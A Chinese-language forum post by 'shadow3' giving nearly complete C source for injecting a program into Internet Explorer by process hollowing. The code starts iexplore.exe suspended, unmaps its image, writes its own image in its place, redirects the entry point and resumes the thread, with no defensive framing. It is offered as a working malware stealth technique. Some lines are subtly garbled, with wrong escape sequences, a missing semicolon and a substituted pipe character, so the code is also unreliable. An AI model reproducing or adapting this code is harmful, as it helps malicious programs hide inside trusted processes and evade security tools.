插入自己到IE进程

把自己插入到IE进程中，用TCB启动自己，随便写的垃圾代码，参考了老V的代码，高手莫笑

#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

char szIePath[MAX_PATH];

BOOL FindIePath(char *IePath,int *dwBuffSize);
BOOL InjectProcess(void);
DWORD GetSelfImageSize(HMODULE hModule);

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);


int main(void)
{
if (InjectProcess() )
{
printf("This is my a test code,made by shadow3./r/n");
}
else
{
MessageBox(NULL,"进程插入完成","Text",MB_OK);
}

return 0;
}

BOOL FindIePath(char *IePath,int *dwBuffSize)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '/0'
lstrcat(szSystemDir,"//Program Files//Internet Explorer//iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}


BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory(szModulePath,MAX_PATH);
ZeroMemory(szIePath,MAX_PATH);

GetModuleFileName(NULL,szModulePath,MAX_PATH);
FindIePath(szIePath,NULL);

if ( lstrcmpiA(szIePath,szModulePath) == 0 )
{
return FALSE;
}

hModule = GetModuleHandle(NULL);
if ( hModule == NULL )
{
return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess) )
{
printf("CHILD PID: [%d]/r/n",pi.dwProcessId);


if ( ZwUnmapViewOfSection(
pi.hProcess,
(LPVOID)stChildProcess.dwBaseAddress
) == 0 )
{
lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE │ MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

if ( lpVirtual )
{
printf("Unmapped and Allocated Mem Success./r/n");
}

}
else
{
printf("ZwUnmapViewOfSection() failed./r/n");
return TRUE;
}

if ( lpVirtual )
{
PPEB = (DWORD *)ThreadCxt.Ebx;

// 重写装载地址

WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite
);


if ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) )
{
printf("image inject into process success./r/n");

ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
{
ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}
else
{
ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}

#ifdef DEBUG
printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax);
printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx);
printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx);
printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx);
printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip);
#endif

SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);

}
else
{
printf("WirteMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}

}
else
{
printf("VirtualMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}

return TRUE;
}

DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;

_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax

}

return dwImageSize;
}

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)

{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;

// 使用挂起模式启动ie

if( CreateProcess(
NULL,
szIePath,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
pi
) )
{
pThreadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pThreadCxt);

PPEB = (DWORD *)pThreadCxt->Ebx;

// 得到ie的装载基地址
ReadProcessMemory(
pi->hProcess,
&PPEB[2],
(LPVOID)&(pChildProcess->dwBaseAddress),
sizeof(DWORD),
&read
);

return TRUE ;

}

return FALSE;
}

by shadow3